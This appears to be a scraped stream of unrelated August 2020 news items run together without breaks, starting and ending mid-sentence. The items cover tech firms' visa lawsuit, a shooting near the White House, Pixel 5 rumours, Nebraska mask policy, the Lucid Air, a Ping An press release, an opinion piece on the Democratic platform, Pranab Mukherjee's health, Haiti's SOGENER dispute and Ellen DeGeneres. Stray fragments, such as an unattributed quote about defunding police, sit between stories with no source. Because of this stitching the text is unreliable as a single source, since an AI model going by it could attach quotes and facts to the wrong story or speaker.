overwhelmingly indicates that suspension of the visa programs will stifle innovation, hinder growth, and ultimately harm US workers, businesses, and the economy more broadly in irreparable ways, the filing argued. Rather than safeguarding jobs for US citizens, the proclamation all but ensures firms will need to hire abroad essentially moving jobs to other countries, the companies said. Tech industry competitors in Canada, China, India and other countries are pouncing on the opportunity to attract skilled workers being shunned by the US, the filing contended. Predictably, other countries are poised to benefit from the USs wholesale suspension of nonimmigrant visas, the filing argued. Global competitors are aggressively updating their immigration systems to attract skilled workers. Others joining the petition included Microsoft, Twitter, Uber and several trade groups for the tech sector including the Information Technology Industry Council. News and commentary on organized crime, street crime, white collar crime, cyber crime, sex crime, crime fiction, crime prevention, espionage and terrorism. Also, (were) demanding that police be defunded. Police should not be here. They should not exist, especially because were giving them all this money to beat and terrorize us. Were giving them all this money when its like were in an actual pandemic and people need care right now, but youre giving them police. US President Donald Trump has said someone was shot near the White House, after he was abruptly led out of a news conference by a Secret Service agent. Mr Trump told reporters the incident was "very well under control". A member of his security detail had walked on stage during his remarks to reporters and whispered in his ear. Mr Trump was heard to say "Oh!" and "What's happening", as he left the briefing room. The White House was placed on lockdown during the incident. The president was interrupted mid-sentence by the agent at the podium during Monday's incident. When he returned about nine minutes later, Mr Trump told reporters he believed the Secret Service had shot a suspect, who was armed "from what I understand". Image copyrightREUTERSImage captionA Secret Service agent walked on stage and whispered into President Trump's ear when the briefing was under way He said that someone was taken to hospital after the incident. Mr Trump acknowledged it was an unusual situation, but praised the professionalism of the Secret Service. "It was a shooting outside of the White House," the Republican president said. "It seems to be very well under control. "But there was an actual shooting, and somebody has been taken to the hospital. I don't know the condition of the person." The US Secret Service meanwhile tweeted: "The Secret Service can confirm there has been an officer involved shooting at 17th Street and Pennsylvania Ave. "Law enforcement officials are on the scene. More information to follow." Mr Trump told reporters he did not know if the suspect harboured any ill intentions towards him. "It might not have had anything to do with me," the president said. A journalist asked Mr Trump if he was rattled by the incident. "Do I seem rattled?" he replied. The president added: "It's unfortunate that this is the world, but the world's always been a dangerous place. It's not something that's unique. "The world has been, if you look back over the centuries, the world has been a dangerous place, very dangerous place, and it will continue, I guess, for a period of time." He told journalists he was escorted to the Oval Office outside the briefing room during the incident. Also led out of the news conference were Treasury Secretary Steve Mnuchin and Office of Management and Budget Director Russ Vought. The doors were locked. The District of Columbia fire department said a man suffered serious or possibly critical injuries, according to the Associated Press. The news agency also reported that authorities were looking into whether the individual has a background of mental illness. Source: BBC Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The Google Pixel 5 is coming in the near future, and its key specifications have just been surfaced. The device has surfaced on the AI benchmark, and shared its processor and RAM information. Key Google Pixel 5 specifications benchmark confirms Snapdragon 765G SoC According to this benchmark, which dates to today (August 11), the Google Pixel 5 will be fueled by the Snapdragon 765G. That goes hand-in-hand with all the information that weve been seeing for the last couple of months. Advertisement It seems like Google will avoid using the Snapdragon 865 and Snapdragon 865 Plus altogether this year. The Snapdragon 765G is not as powerful, but it does support 5G, and Google seems to think its more than enough for the Pixel 5. This phone will be marketed as a flagship device, no doubt about that. Some people may resent Google for not including a flagship processor, but keep in mind this chip will allow Google to offer a lower price tag than it usually would. Now, in addition to the Snapdragon 765G, the Pixel 5 will also include 8GB of RAM. That piece of information is also included here. It is possible that well see more than one RAM variant of the device, though, of course. Advertisement The device will become official in the Fall of 2020 That is pretty much all the information that this AI benchmark shared. The Google Pixel 5 is expected to arrive in the Fall of 2020. Some rumors suggested itll get announced as early as October, and thats still a possibility. The Google Pixel 4a was quite late when it comes to launching, so it remains to be seen if the Pixel 5 gets affected by that. As things stand right now, the Pixel 5 will arrive, but not the Pixel 5 XL. It seems like Google plans to announce only one Pixel 5 this year. The Pixel 4a 5G will arrive, though, and it will offer a larger display than the Pixel 4a. On top of that, it will also support 5G connectivity. Advertisement The Google Pixel 5 is still a mystery, though. We do have some key specifications for the Pixel 5 now, but the phones design remains a mystery. The rest of its specs as well. Google will hopefully include an ultrawide camera this time around. Were also hoping that a fingerprint scanner will also get included, but theres no guarantee for that. Android 11 will come pre-installed on the device, while the phone is likely to include a display camera hole. The device will almost certainly be made out of metal and glass. Mask use is widely recommended by local and national health experts, but the East-Central District Health Department (ECDHD) has said it has linked a number of new cases to large events with low mask use. ECDHD Chief Public Health Officer Chuck Sepers said in an Aug. 10 press release that East-Central has traced a number of new cases back to large events with many unmasked attendees. Through contact tracing, ECDHD has learned of a number of birthday parties, weddings, and funerals where people did not wear masks or practice social distancing. Such events are the primary reason the ECDHD counties have continued to see a total of 25-40 new cases per week for the last month or more, Sepers said. Columbus Mayor Jim Bulkley said he believes masks help slow the spread of COVID-19. And anything we can show helps right now is worth doing, if we can, Bulkley said. Bulkley said he thinks mask use is up in Columbus overall, based on what hes seen around town. He expects mask use to grow as fall gets closer. I think our businesses have done a good job of recommending it and asking people to do it and most people have followed through, Bulkley said. ECDHD has a statement on its website encouraging mask use. Wearing masks and other appropriate face coverings help control the spread, and limit the impact of COVID-19. This fact has been known and clearly communicated for several months, the statement reads. The ECDHD statement acknowledges that some people feel mask use infringes on their personal rights and believe it prevents the country from getting back to normal. But, as other health officials maintain, mask use may actually help the country get back on track faster. According to an Aug. 8 press release from Columbus Community Hospital (CCH), Centers for Disease Control and Prevention Director Robert Redfield said mask use has been shown to help reduce cases in areas where the positive COVID-19 test rate is above 10% in other words, areas like Nebraska. The Aug. 8 release from CCH also urged people to use masks and practice social distancing. In Columbus, ECDHD has been instrumental in organizing health screenings at local businesses and offices. The health checks themselves have been an individual item by a building or a company," Bulkley said. "We have never at City Hall done health checks on people coming in. We have asked for masks; we have not required it." Meanwhile, health screenings recently stopped at the Platte County Courthouse. The Columbus Family YMCA is still doing health checks at the door, though, and many big box stores like Walmart have started requiring mask use. On Thursday night, Columbus Public Schools held a Facebook live event about health precautions for the upcoming school year. The live stream included a section about mask use, which CPS will be requiring. CPS will be able to provide some masks but recommends that students have five masks one for each weekday. At Scotus Central Catholic, masks will be required when social distancing is not possible. Face coverings will be required for all students and staff at Lakeview Community Schools. As school starts back up again, parents may be concerned about how children will react to masks. A July 8 article in the Omaha World-Herald, a sister publication of The Telegram, stated the American Academy of Pediatrics recommends kids over the age of 2 wear a mask. In that article, Dr. Melissa St. Germain, a pediatrician with Childrens Physicians and president of the Nebraska Chapter of the American Academy of Pediatrics, recommended parents cover children 2 or younger with a blanket in their car seat while in public. For older kids, modeling will be important, St. Germain said. The City of Columbus has not put a mask mandate in place and, according to Bulkley, wont. Legally, I cant make a mask mandate. I actually just got done answering an email to a concerned citizen yesterday. I had to detail all of that to them, that its not in my power to be able to do that," Bulkley said. Bulkley said he's doing his best to show leadership and set an example, but that's about all he can do. "And finally, I think if you tell people this is a great way to see that we might be able to watch some Husker football, they'll mask up! I laugh about it but it is true. Those are the kinds of things that will drive people to take those steps," Bulkley said. Molly Hunter is a reporter for The Columbus Telegram. Reach her via email at molly.hunter@lee.net. Love 0 Funny 3 Wow 0 Sad 0 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. What just happened? Lucid Motors could make electric vehicle range anxiety a thing of the past. The automaker on Tuesday said a third party has independently verified that its upcoming Lucid Air all-electric sedan can run for more than 500 miles on a single charge. The testing, conducted by FEV North America, Inc., followed the EPAs Multi-Cycle Test Procedure en route to achieving an estimated EPA range of 517 miles. According to Lucid Motors, the range estimate closely matched their computer-modeled range prediction and makes the Lucid Air the longest range electric vehicle to date. Lucid Motors CEO Peter Rawlinson credited their 900-volt architecture, miniaturized motors and power electronics, race proven battery packs, aerodynamics, integrated transmission, chassis and thermal systems, software and overall system efficiency for collectively setting a new standard that delivers a host of worlds first. Lucid Motors is planning to unveil the final production version of the Lucid Air during an online reveal on September 9 where we will learn more about production specs, available configurations and of course, pricing. Lucids claim of longest range electric vehicle could be short-lived as rival Tesla is planning to host a Battery Day presentation on September 22. The in-person event, which will also be streamed online, will originate from Teslas Fremont Factory in California and kicks off at 2:30 p.m. Pacific. The first wave of Lucid Air sedans are expected to be delivered to customers in early 2021. HONG KONG and SHANGHAI, Aug. 11, 2020 /PRNewswire/ -- Ping An Insurance (Group) Company of China, Ltd. (hereafter "Ping An" or the "Group", HKEx:2318; SSE:601318) is number 21 overall in the 2020 Fortune Global 500 list, climbing eight places since last year. With sustained growth and revenues of USD184,280 million, the Group ranked second among global financial enterprises, fifth among all Chinese enterprises. The Fortune Global 500 list is regarded as the most authoritative ranking for the world's biggest listed companies, measured primarily by annual revenues and profits. This year, total revenue of the 500 global listed companies reached a record high of USD33 trillion. This year, the number of Chinese (including Hong Kong) enterprises reached 124, surpassing U.S. companies (121) for the first time. Ping An achieved sustained business growth in 2019, as the Group further pursued its "finance + technology" and "finance + ecosystem" transformation strategies, and continued to enhance its data-driven operational capabilities. In 2019, the Group's revenue amounted to RMB1,168,867 million, up 19.7% year on year. Operating profit attributable to shareholders of the parent company rose 18.1% year on year to RMB132,955 million. Net profit attributable to shareholders of the parent company rose 39.1% year on year to RMB149,407 million. As of 31 December 2019, the Group's total number of retail customers surpassed 200 million and internet users reached 516 million. The Group acquired 36.57 million new customers year-on-year, 40.7% of whom were sourced from internet users within the Group's five ecosystems financial services, health care, auto services, real estate services, and smart city services. Ping An aims to "serve the real economy with finance". Through its insurance, banking, trust and fintech businesses, the Group has allocated more than RMB4 trillion to economic and social development, including means such as insurance protection, loan provision, debt-equity plans and inclusive finance. For example, Ping An and the Guangdong provincial government jointly established the "Guangdong-Ping An Development Fund" of RMB150 billion, investing in large-scale infrastructure within the Guangdong-Hong Kong-Macao Greater Bay Area, including smart city construction, a high-speed railway, an inter-city railway and an airport. Loans for entities granted by Ping An Bank in 2019 reached RMB2.1 trillion, increasing by RMB153.6 billion compared to the end of 2018. Ping An Property & Casualty introduced a range of property, personnel and the third-party liability insurance products for small- and micro-sized enterprises, for protection against their most common risks. With "finance + technology" as Ping An's core and main businesses, the Group applies world-leading technologies in its main financial business to increase efficiency, cut costs and enhance risk management while offering customers excellent products and service experiences. Its innovations include the introduction of artificial intelligence (AI) interview robots in the Group's life and health insurance unit to conduct 100% of sales agent recruitment interviews and the agents' exclusive smart personal assistant AskBob, which has served agents 340 million times to date. Ping An Property & Casualty launched the Ping An Motor Insurance Trust Claim service, which has cut the average turnaround time of a single claim to three minutes and provides 45 million auto owners with a line of credit. In banking, Ping An developed AI-powered retail banking for all processes including sales, risk control, operations, and management. AI is also used to credit card approvals; of the 14.3 million credit cards issued by Ping An Bank in 2019, nearly 90% were automatically approved by AI. Ping An's technologies have also been widely applied to support its five ecosystems. By providing innovative products and services to the market, the Group's technology business grew rapidly in 2019: total revenue increased by 27.1% year on year to RMB82,109 million. The total valuation of the technology companies reached USD69.1 billion. As of 31 December 2019, the Group had a technology team of nearly 110,000 technology business employees, 35,000 R&D employees, and 2,600 scientists. Ping An's technology patent applications reached 21,383, and Ping An achieved global ranking of first in fintech and second in digital healthtech for the number of published patent applications. Ping An is also pursuing sustainable development based on Environment, Social and Governance (ESG) principles. Its MSCI ESG rating has been upgraded twice in a row to "A". Ping An also built an AI-ESG platform to empower responsible investment. As of 31 December 2019, the Group's responsible investment reached RMB954,449 million, sustainable insurance insured amount reached RMB121.21 trillion, and the total line of green credit granted reached RMB59,056 million. Ping An is also continuing to drive its "Ping An Rural Communities Support" initiative in China, with RMB24,905 million in poverty alleviation funds granted to date. The Group has also supported the COVID-19 pandemic control efforts in China, with support measures such as insurance protection, medical support and external donations. The Group's total amount of material and cash donations has exceeded RMB175 million. In 2020, Ping An's brand value continues to increase: the Group ranked 7th in Forbes Global 2000 list and 38th in BrandZ Top 100 Most Valuable Global Brands list, maintaining its top position among global insurance brands. Other Chinese enterprises in the top 30 in the 2020 Fortune Global 500 list include Sinopec Group (2nd place), State Grid Corporation of China (3rd), China National Petroleum (4th), China State Construction Engineering (18th), Industrial and Commercial Bank of China (24th), Hon Hai Precision Industry (26th) and China Construction Bank (30th). - End - About Ping An Group Ping An Insurance (Group) Company of China, Ltd. ("Ping An") is a world-leading technology-powered retail financial services group. With over 204 million retail customers and 534 million Internet users, Ping An is one of the largest financial services companies in the world. Ping An has two over-arching strategies, "pan financial assets" and "pan health care", which focus on the provision of financial and healthcare services through our integrated financial services platform and our five ecosystems of financial services, health care, auto services, real estate services and smart city services. Our "finance + technology" and "finance + ecosystem" strategies aim to provide customers and internet users with innovative and simple products and services using technology. As China's first joint stock insurance company, Ping An Group is committed to upholding the highest standards of corporate reporting and corporate governance. The Company is listed on the stock exchanges in Hong Kong and Shanghai. In 2020, Ping An ranked 7th in the Forbes Global 2000 list and ranked 21st in the Fortune Global 500 list. Ping An also ranked 38th in the 2020 WPP Kantar Millward Brown BrandZTM Top 100 Most Valuable Global Brands list. For more information, please visit www.pingan.cn. SOURCE Ping An Related Links http://www.pingan.cn This is the second part of a two-part article. Part one was posted Monday, August 10. Biden on foreign policy The longest single section of the draft Democratic platform is on foreign policy. This was Bidens main concern during the second half of his lengthy Senate career, after he became the ranking Democrat on the Senate Foreign Relations Committee in 1997. He played a major role in rallying congressional support for Bill Clintons bombing of Serbia in 1999, for the war in Afghanistan in 2001, and for the US invasion of Iraq in 2003. Significantly, foreign policy was not one of the six platform sub-groups in which Sanders and Biden aides worked together. This was both a reflection of Sanderss longstanding refusal to make any serious appeal to the antiwar sentiments of the American people, his overall support for the war policy of the Obama-Biden administration, and his acknowledgement that in this area Biden had to have a free hand in order to make his arrangements with the national-security apparatus. This platform section includes avowals, traditional in both major American capitalist parties, that the American military must be number one in the world and must be able to go to war anywhere on the planet, no matter how remote from the United States, with the assurance of victory. The main criticism of Trump by the Democrats is that his America First orientation has alienated traditional US allies and weakened the global position of American imperialism. One passage declares sarcastically: The United States should be at the head of the table whenever the safety and well-being of Americans is at stake, working in common cause with our allies and partners. Time and again, the Trump administration has stormed out, leaving Americas seat at the table vacant and American interests on the menu. This section goes on to note that the US must confront the world as it is today, not as it was before President Trumps destruction of US influence. In other words, Washington must seek to reconquer old positions now taken by its rivals: a formula for conflict on a global scale. The document attacks Trump for weakness towards Russia, claiming, He has pushed to bring Russia back into the G7 while lambasting our NATO partners and ignoring intelligence about Russian bounties for killing American troops and other coalition forces in Afghanistan. But it says nothing about impeachment, the Mueller investigation, and other efforts by congressional Democrats to use the bogus anti-Russia agitation to undermine Trump or force a more confrontational policy towards Moscow. The platform claims: Democrats know its time to bring nearly two decades of unceasing conflict to an end. Our military engagements, which have spanned from West Africa to Southeast Asia, have cost more than $5 trillion and claimed more than half a million lives. Our war in Afghanistan is the longest war in American history, with the youngest US troops now fighting a war that was launched before they were even born. It notes that Trump had pledged to end forever wars but has instead continued and expanded them. The same, of course, could be said of Barack Obama, who ran in 2008 as a supposedly antiwar candidate, and then continued the wars of the Bush administration, adding his own (Libya, Syria, Yemen). Bidens promises to end US military intervention in the Middle East are equally worthless. The core interests of US imperialism are involved: oil, military alliances with Israel, Egypt and Saudi Arabia, the conflict with Iran, the struggle for influence against Russia and China. The Democratic platform backs a continued US military presence in Iraq to train our Iraqi partners, and in Syria to keep up the offensive against ISIS while restoring the US alliance with Kurdish forces in Syria that Trump reneged on. The platform declares Our commitment to Israels security, its qualitative military edge, its right to defend itself to be ironclad. Initially, the platform language referred to the Israeli occupation of the West Bank, a term that was removed at Bidens personal insistence. The draft now merely criticizes settlement expansion and annexation. Biden pledges to close the detention center at Guantanamo Bay, as Obama pledged in 2008. Twelve years later, the prison still stands and not one of the prisoners has been brought to trial. On China, the Democratic platform attacks Trump from the right, claiming that his trade war policies have not restored jobs in the United States and pledging to stand up to China on its trade practices and alleged theft of intellectual property. There is also this pledge: We will underscore our global commitment to freedom of navigation and resist the Chinese militarys intimidation in the South China Sea. Democrats are committed to the Taiwan Relations Act and will continue to support a peaceful resolution of cross-strait issues consistent with the wishes and best interests of the people of Taiwan. In his interview with the minority journalists referenced in the first part of this article, Biden answered one foreign policy question. He said that Trumps tariffs on Chinese goods had provoked retaliation that had devastated US manufacturing and agriculture. Were going after China in the wrong way, he declared, saying that a Biden administration would review the tariffs and focus on issues such as protecting intellectual property and opposing Beijings restrictions on US businesses operating in the Chinese market. Another area where Biden has offered a more reactionary and aggressive foreign policy than Trump is Venezuela, where the US-backed destabilization campaign against the government of President Nicolas Maduro has produced several abortive military operations, but no lasting success. After Trump recently expressed his loss of confidence in the policy of recognizing former legislator Juan Guaido as the countrys legitimate president, and suggested he might be open to meeting with Maduro, the Biden campaign quickly began running Spanish-language commercials in south Florida appealing to ultra-right Venezuelan and Cuban exiles. Donald Trump is no friend to the Venezuelan people fighting for human rights and democracy in their country, the campaign charged. Trump is equivocating about recognizing the leader of the Venezuelan National Assembly, the only legitimate democratic institution in the country, and musing about meeting with yet another dictatorthis time Nicolas Maduro, the ad stated. The Democratic draft platform echoes this line, declaring, We will reject President Trumps failed Venezuela policy, which has only served to entrench Nicolas Maduros dictatorial regime and exacerbate a human rights and humanitarian crisis. Where did Trump come from? As we noted above, the starkest contradiction in the Democratic Party platform put forward by the Biden campaign is its failure even to attempt to explain how the supposed glory years of the Obama-Biden administration led to the debacle of the Hillary Clinton campaign in 2016 and the election of Donald Trump. The standard explanations of Democratic Party operatives and their media backers come in two flavors: the Russians did it and the American people are incorrigibly racist. The first explanation emerged out of the anti-Russia campaign that was launched even before the election by the New York Times and the Clinton entourage, who claimed that Russian operatives had hacked into Democratic Party computer servers and leaked unflattering information to WikiLeaks, thus undermining the Democratic campaign. It mattered not to these neo-McCarthyites that no evidence of a Russian hacking operation was ever provided, only the unsupported claims of CIA Director John Brennan and other intelligence officials. Nor that the documents made public by WikiLeaks were truewhich was why they were so damaging, since they exposed both dirty tricks by Democratic Party officials to undermine the Sanders campaign and help Clinton, and Clintons own efforts to win support from Wall Street audiences by promising to protect their interests. The more sophisticated (but no less bogus) argument was that white working-class voters had been alienated by eight years of an African-American president and had taken out their racial resentments by voting for the Republican racist demagogue. This claim ignored widespread evidence that economic and not racial grievances were responsible for widespread popular discontent with the Obama-Biden administration. This was expressed both by a shift by white working-class Obama voters to Trump or to third-party candidates, and by a significant drop in the African-American vote for the Democrats in many cities, including Milwaukee, Detroit and Philadelphia, which tipped the three states of Wisconsin, Michigan and Pennsylvania to the Republicans. The purpose of both theories was to block any serious examination of the reactionary record of the Obama-Biden administration, particularly its promotion of wage-cutting and the broader attack on working-class living standards and social benefits that underlay such counter-reforms as the Affordable Care Act, a boondoggle for the insurance companies and the drug industry. The Democratic platform returns to this mythologizing of the Obama-Biden record on the economy, claiming, President Trump inherited the longest economic expansion in American history from the Obama-Biden administration, and he squandered it. Again, if the American people never had it so good as under Obama and Biden, why was Trump able to eke out an Electoral College victory? The document contradicts itself, admitting elsewhere that our economy was rigged against working families and the middle class long before the impact of the coronavirus. The platform declares: Working families incomes have been largely stagnant for decades, while the costs of basic needsfrom housing to health care, higher education to child carekeep rising at precipitous rates. Meanwhile, the rich have been capturing a larger and larger share of the economic pie, with incomes for the top one percent growing five times faster than those of the bottom 90 percent. This assessment is perfectly true. But who was in power during those decades? For some 16 years the Democratic Party was in the White House, including the Clinton-Gore administration (1993-2001) and the Obama-Biden administration (2009-2017). The Democrats controlled one or both houses of Congress from 1980 to 1994, from 2001 to 2002, and again from 2006 to 2014. Indeed, over the last four decades, the Republican Party has had full control of the federal governmentHouse, Senate and the presidencyfor only seven years: five years under George W. Bush and two years under Trump. The Democrats have had full control for four years, while divided government has prevailed for 29 years of the 40. The Republican Party does not bear sole responsibility for the decades during which working families incomes have been largely stagnant while the lions share of wealth accrued to the top 1 percent of society. This extreme social polarization derived from the operations of the capitalist system, and the capitalist ruling class as a whole was responsible, operating through both of its parties, the Democrats as well as the Republicans. Should the ruling class turn back to the Democrats in 2020a distinct possibility judging by the polls, the corporate media coverage and the flow of campaign contributions from wealthy donorsthat will not in any way signify a shift to the left in the policies of American capitalism. As the Biden campaign makes clear in the draft Democratic platform, while the rhetoric may change and the faces in power become more diverse, the same class interests will be served. A Biden administration would be a right-wing government dominated by Wall Street and the military-intelligence apparatus, committed to defending the profit interests of an infinitesimal fraction of the population at the top under conditions of a vast public health crisis, an economic crisis worse than anything since the Great Depression, and mounting global tensions that will continually threaten the outbreak of major wars between the great powers. No comment on Pranab Mukherjee book before reading it: Former Union Minister Pranab memoirs: PM Modi must speak more often in Parliament Pranab Mukherjee's health worsens, shows no improvement India oi-Deepika S New Delhi, Aug 11: The condition of former president Pranab Mukherjee has worsened and he remains on ventilator support, the Army's Research and Referral (R&R) Hospital said on Tuesday, a day after he underwent brain surgery. Pranab Mukherjee critical | Former Indian President is Covid +ve | Oneindia News The 84-year-old was admitted to the military hospital around noon on Monday and had also tested positive for COVID-19 prior to the surgery. "Shri Pranab Mukherjee's health condition continues to remain critical at Army Hospital (R&R) Delhi Cantonment. The former president, who underwent life saving emergency surgery for brain clot on 10 August 2020, has not shown any improvement and his health status has worsened. He remains on ventilatory support," the hospital said in its latest statement. Pranab Mukherjee's doctor who treated him in 2007, says he suffered head injury in mishap It earlier said the former President was admitted to the hospital at 1207 hours on August 10, 2020, in a critical condition. "Workup at the hospital revealed a large brain clot for which he underwent emergency life saving surgery," the hospital earlier said. A multidisciplinary team of doctors is constantly monitoring the health of the former president. New Zealand reinstates coronavirus restrictions after first locally-transmitted case in 102 days Mukherjee tweeted on Monday that he had tested positive for COVID-19 and urged people who had come in contact with him in the last week to isolate themselves and get tested for the novel coronavirus. Soon after the news of his hospitalisation, wishes poured in from various quarters for his early recovery and a number of leaders sent their wishes on Twitter. President Ram Nath Kovind also spoke to Mukherjee's daughter Sharmistha Mukherjee and enquired about his health on Monday evening. Defence Minister Rajnath Singh visited the R&R Hospital on Monday and enquired about the former president's health. Singh was at the hospital for around 20 minutes. Congress leader Rahul Gandhi also sent in his best wishes to the former president and wished him early recovery. A powerful orator and scholar, Mukherjee had been a Congress stalwart before he was elected as India's 13th President and served from July 2012 to 2017 in the top post. Haiti - SAGA : SOGENER S.A. denounces the politico-judicial persecution of the State In a public note, the Directorate of Societe Generale d'Energie SA (SOGENER SA) wishes to draw the public's attention to the infringements of rights and freedoms including the company, members of the Vorbe family and Agnes Elizabeth Debrosse Preval continue to be victims of the Moise-Jouthe administration. Note from SOGENER S.A. : "Societe Generale d'Energie S.A. (SOGENER S.A.) wishes, once again, to draw the attention of the general public to the serious infringements of rights and freedoms including the company, members of the VORBE family and Agnes Elizabeth Debrosse Preval continued to be victims of the Moise-Jouthe administration. The execution of a commercial contract, binding the Haitian commercial company, SOGENER S.A. to the Haitian state, served as a pretext for an instrumentalisation of the judiciary. The President of the Republic, Mr. Jovenel Moise, hardly conceives that a Haitian citizen, member of the Vorbe family, can, in the exercise of his civil and political rights (constitutional and fundamental), express ideas contrary to his own by relation to its conception and management of the State. Indeed, the Moise-Lapin and Moise-Jouthe administrations, under the watchful eye of the President of the Republic, since October 2019, have improperly mobilized all State institutions in the exercise of public power against the leaders of this commercial company, members of their family and Agnes Elizabeth Debrosse Preval. Thus, they use the judicial system to lead an all-out campaign of political persecution by setting up mechanisms to violate fundamental rights and freedoms, including access to justice, the right to property and to individual liberty. As evidenced by, among others, the warrants issued by the government commissioner in defiance of the principle of the separation of repressive functions, the constitution of lawyers from outside the regular staff of the Directorate General of Taxes (DGI), representative of the State in court, the political and irregular use of specialized units of the Haitian National Police in the execution of arrest warrants inoperative due to a judicial decision of suspension of the Dean of the court of first instance of Port-au-Prince and house searches, as well as the regulated cutting of the deanery of the Court of First Instance of Port-au-Prince by the executive for the production of illegal judicial decisions known in advance and on non-legal reasons, the arbitrary adoption of measures prohibiting departure, etc. Since then, the Vorbe family and the directors of SOGENER S.A. have been the subject of a very long and intensive media lynching campaign through traditional media and social networks, by individuals employed by the Executive but deprived of quality rights of State attorneys. The alleged case, finally transmitted to the Dean of the Court of First Instance of Port-au-Prince, was entrusted to an investigating magistrate for the opening of a judicial investigation. As part of the search for judicial truth, the chief executive officer (CEO) of the company was invited on January 30, 2020 by the examining magistrate for questioning. At the end of this interrogation of approximately four (4) hours of time, the investigating magistrate, precisely convinced of the inexistence of serious clues in support of such serious accusations, authorized him to return to his home and to remain at his disposal for the continuation of the instruction. While the case is still pending in the cabinet of instruction and another case, qualified as an offense, at the Court of Appeal, another investigating judge, for the same facts and between the same parties, curiously put the property of SOGENER S.A. and the homes of all its leaders and family members under "police security control", a measure that does not exist in Haitian law, based on a protective order without having previously questioned the accused persons. We remind you that SOGENER S.A. is a public limited company, that is to say a capital company with limited liability, whose members are protected by the status of anonymity which protects them from any direct legal action. As a reminder, it is important to mention that SOGENER S.A. s not the property of the VORBE family, although some of its members are shareholders. The government's harassment on the family becomes even more blatant and unfair when it attacks members who have nothing to do with the company, other than support, union, and proverbial solidarity and legendary VORBE between them. Nothing to justify such actions, if it is not this will, of Mr. Jovenel Moise abusing his status of all powerful President of the Republic to persecute honest and respectful entrepreneurs who, after many years of hard work and at the cost of heavy sacrifices, built a reputation in this country of theirs. The directorate." Follow the judicial saga: State against SOGENER : https://www.haitilibre.com/en/news-31423-haiti-flash-the-state-seized-the-sogener-company-and-the-property-of-its-leaders.html https://www.haitilibre.com/en/news-29432-haiti-flash-odette-roy-fombrun-102-years-old-takes-position-in-the-file-state-against-sogener.html https://www.haitilibre.com/en/news-30058-haiti-flash-property-conflict-between-the-state-and-sogener-the-correctional-court-suspends-the-investigation-and-declares-itself-incompetent.html https://www.haitilibre.com/en/news-29517-haiti-flash-the-dcpj-tries-to-arrest-dimitri-vorbe-and-the-widow-of-president-preval.html https://www.haitilibre.com/en/news-29448-haiti-flash-sogener-exposes-to-international-the-illegal-and-arbitrary-maneuvers-of-president-moise.html https://www.haitilibre.com/en/news-29432-haiti-flash-odette-roy-fombrun-102-years-old-takes-position-in-the-file-state-against-sogener.html https://www.haitilibre.com/en/news-29423-haiti-flash-sogener-state-lawyers-demand-the-disqualification-of-all-judges-of-the-tpi-of-port-au-prince.html https://www.haitilibre.com/en/news-29393-haiti-economy-the-amcham-haiti-worries-about-the-proportions-of-the-conflict-between-the-state-and-the-private-sector.html https://www.haitilibre.com/en/news-29390-haiti-news-zapping.html https://www.haitilibre.com/en/news-29389-haiti-flash-the-employer-sector-is-alarmed-by-the-arbitrary-and-illegal-methods-of-the-state.html https://www.haitilibre.com/en/news-29381-haiti-flash-the-prosecutor-s-office-issues-warrants-to-bring-in-the-case-state-against-sogener.html https://www.haitilibre.com/en/news-26974-haiti-politic-at-101-odette-roy-fombrun-accuses-the-core-group.html https://www.haitilibre.com/en/news-29361-haiti-sogener-ultimate-invitation-of-the-office-of-public-prosecutor-to-jean-marie-vorbe.html https://www.haitilibre.com/en/news-29336-haiti-flash-the-state-retakes-possession-of-the-power-plants-managed-by-the-sogener.html https://www.haitilibre.com/en/news-29329-haiti-justice-the-sogener-did-not-appear-at-the-palace-of-justice.html https://www.haitilibre.com/en/news-29269-haiti-state-against-sogener-the-public-prosecutor-launches-a-wave-of-invitations-for-hearings.html https://www.haitilibre.com/en/news-29242-haiti-justice-the-haitian-state-complains-against-sogener-and-other-personalities.html https://www.haitilibre.com/en/news-29202-haiti-saga-the-sogener-sends-a-summons-to-the-state.html https://www.haitilibre.com/en/news-29198-haiti-news-zapping.html https://www.haitilibre.com/en/news-29186-haiti-justice-the-state-asks-the-brh-to-suspend-the-letter-of-credit-in-favor-of-sogener.html https://www.haitilibre.com/en/news-29168-haiti-justice-the-state-wants-to-recover-$123m-from-sogener.html https://www.haitilibre.com/en/news-29135-haiti-energy-the-state-hires-several-cabinets-of-lawyers-to-defend-its-interests.html https://www.haitilibre.com/en/news-29083-haiti-flash-the-state-suspends-all-payments-to-private-electricity-companies.html https://www.haitilibre.com/en/news-29068-haiti-flash-jean-marie-vorbe-the-ceo-of-sogener-counter-attack.html https://www.haitilibre.com/en/news-29064-haiti-politic-the-sogener-refuses-to-pay-the-194-million-claimed-by-the-bmpad.html https://www.haitilibre.com/en/news-29041-haiti-flash-the-bmpad-claims-$194m-to-sogener-sa-but-what-is-the-reality.html https://www.haitilibre.com/en/news-29035-haiti-politic-the-government-takes-measures-to-improve-the-distribution-of-electricity.html SL/ HaitiLibre Portia de Rossi has given an update on her wife Ellen DeGeneres amid claims that Ellen 'fostered [a] toxic work environment behind the scenes' on her talk show. The 47-year-old Arrested Development star told a photographer on Sunday that DeGeneres was 'doing great' while she walked her dogs with mother Margaret in Santa Barbara, according to Page Six. When asked if her 62-year-old wife would continue to helm her long-running talk show, the Australian actress replied, 'Yes, she is.' Speaking out: Portia de Rossi has given an update on her wife Ellen DeGeneres amid claims that Ellen 'fostered [a] toxic work environment behind the scenes' on her talk show. Seen here last month Portia's comments come amid news that the Ellen DeGeneres Show has seen some of the worst ratings in its 17-year history, as the presenter continues to be plagued by claims of a toxic work environment. According to The Wrap, the daytime talk show only garnered a 1.0 Live + Same Day rating through the week ending July 26, which was 29 per cent down on the same time last year, and nine per cent down on the previous week. Viewership for Ellen appears to have been hit hard amid shocking claims that the work culture behind-the-scenes has been rife with bullying, racism and sexual harassment. No sweat: The 47-year-old Arrested Development star told a photographer on Sunday that DeGeneres was 'doing great'. Portia seen here in 2018 Ellen's show has seen more significant declines than other talk shows, which are all seeing lower ratings as they air reruns during the summer break. Dr. Oz was also down 22 percent, and The Real and The Doctors have seen 20 percent declines, according to the online publication. In July, staff on the syndicated daytime talk show cited a number of the show's executive producers in their complaints, including Kevin Leman and Ed Glavin. The show is now in the midst of an internal probe from parent company WarnerMedia. Not going anywhere: When asked if her 62-year-old wife would continue to helm her long-running talk show, the Australian actress replied, 'Yes, she is.' The 